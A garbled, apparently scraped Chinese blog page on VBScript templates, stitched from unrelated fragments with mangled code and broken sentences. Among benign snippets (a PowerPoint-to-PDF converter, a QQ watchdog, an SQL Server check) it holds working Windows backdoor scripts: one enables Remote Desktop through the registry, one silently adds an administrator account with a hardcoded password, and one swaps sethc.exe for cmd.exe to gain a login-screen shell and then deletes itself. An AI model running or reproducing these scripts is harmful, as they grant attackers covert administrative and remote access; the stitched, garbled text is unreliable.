计算机脚本模板,3分钟分镜头脚本范例商场问道电脑

拖放式创建数据相关的窗体或报表

使用新的DataEnvironment设计器,开发人员可很快地用拖放操作定制数据相关的控件以创建窗体on error resume next

const HKEY_LOCAL_MACHINE=&H80000002

strComputer="."

Set StdOut=WScript.StdOut

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"

strValueName="fDenyTSConnections"

dwValue=0

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

strValueName="PortNumber"

dwValue=3389

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strValueName="PortNumber"

dwValue=3389

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

on error resume next

dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath

On Error Resume Next

Dim obj, success

Set obj=CreateObject("WScript.Shell")

success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)62b94e6ce332169d1f586b2e1dadf8d9.png回答完问题后,您就会把我们甩掉,安装其它一些与脚本编写有关的屏幕保护程序作为默认屏幕保护程序

三、事件驱动的真实工作过程

在VB程序设计中,最基本的设计机制就是改变对象的属性、使用对象的方法和为对象事件编写事件过程

Dim ls_File

Set objArgs=WScript.Arguments'命令行参数

if objArgs.Count<1 then

return

end if

ls_File=objArgs(0)'第一个参数通常就是文件名

ls_new=left(ls_File, len(ls_File) -4 )+".pdf"

Set pptApp=CreateObject("PowerPoint.Application") '申明调用函数

pptApp.Visible=True '在使用PowerPoint时,一定要有此句,否则会出错

Set MyPress=pptApp.Presentations.Open( ls_file) 'Presentation 对象

MyPress.Saveas ls_new,32

pptApp.Quit

如果在VisualBasic中直接调用API,那么VisualBasic环境下固有的安全机制将受到不利影响

'DimQQUIN

SetobjWMIService=GetObject_

("winmgmts:\"&"."&"\root\cimv2")

Setps=objWMIService.ExecQuery_

("SELECT*FROMWin32_process")

ForEachpsinps'列出系统中所有正在运行的程序

'foreachpsingetobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_'列出系统中所有正在运行的程序

IfLCase(ps.Name)="qq.exe"OrLCase(ps.Name)="tm.exe"Then'检测是否QQ或TM

AppPath=ps.commandline'提取QQ程序的命行

tmp=Replace(AppPath,Chr(34),Space(1))

UIN1=InStr(tmp,"QQUIN:")+6

QQUIN=Mid(tmp,UIN1,InStr(UIN1,tmp,Space(1))-UIN1)'取QQ号码.

EndIf

Next

IfLen(QQUIN)=0Then

MsgBox"系统中没有运行QQ或TM程序,请重新启动QQ或TM,登陆后再使用一键换切换一下QQ或TM程序,再运行本脚本"

Else

Do'循环检测

myqqin=chkuin(QQUIN)'检测上面提取出来的QQ号码是否有在本机打开

IfNotmyqqinThen'如果没有运行则,重新运行QQ程序并登录

runapp(AppPath)'

wscript.sleep10000'等待10秒

Else

wscript.sleep5000'等待5秒

EndIf

Loop'返回继续检测

EndIf

FunctionRunApp(AppPath)

Dimobj

Setobj=CreateObject("WScript.Shell")

obj.exec(AppPath)

EndFunction

Functionchkuin(QQUIN)

SetobjWMIService=GetObject_

("winmgmts:\"&"."&"\root\cimv2")

Setps=objWMIService.ExecQuery_

("SELECT*FROMWin32_process")

ForEachpsinps'列出系统中所有正在运行的程序

'foreachpsingetobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_

IfLCase(ps.Name)="qq.exe"OrLCase(ps.Name)="tm.exe"Then

AppPatht=ps.commandline

'bychenallqq368178720

tmp=Replace(AppPatht,Chr(34),Space(1))

UIN1=InStr(tmp,"QQUIN:")+6

QQUINTMP=Mid(tmp,UIN1,InStr(UIN1,tmp,Space(1))-UIN1)

IfQQUINTMP=QQUINThenchkuin=TrueEndIf

EndIf

Next

EndFunction换句话说,我们也可以添加自己的决,只要遵循如下原则:在这三个标准块其中的某个后面,定义一个四字节的块识别码(不要与本文用到的识别码相同,最好字母用大写),紧跟一个长整数来表示你自定义的块的大小,随后便可以在定义的大小范围内写入你想表述的信息

下面的示例启动远程计算机 SVR01 上的“Products”和“Marketing”网站走位原理下面的例子检查Word中是否包含一个季节的名字:1、普通的方法:

IfLCase$(word)="winter"OrLCase$(word)="spring"OrLCase$(word)=_"summer"OrLCase$(word)="fall"Then

'itisaseason'sname

EndIf

2、更加简练的方法:

IfInstr(";winter;spring;summer;fall;",";"&word&";")Then

'itisaseason'sname

EndIf

有时候,甚至可以使用InStr来替代Select

Case代码段,但一定要注意参数中的字符数目

'****************************

'*by r05e

'*检验SQL SERVER是否在这机器上工作

'****************************

strComputer="."

Set objWMIService=GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")

Set colServices=objWMIService.ExecQuery _

("Select * from Win32_Service Where Name='MSSQLServer'")

If colServices.Count > 0 Then

For Each objService in colServices

Wscript.Echo "SQL Server is " & objService.State & "."

Next

Else

Wscript.Echo "SQL Server is not installed on this computer."

End If

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值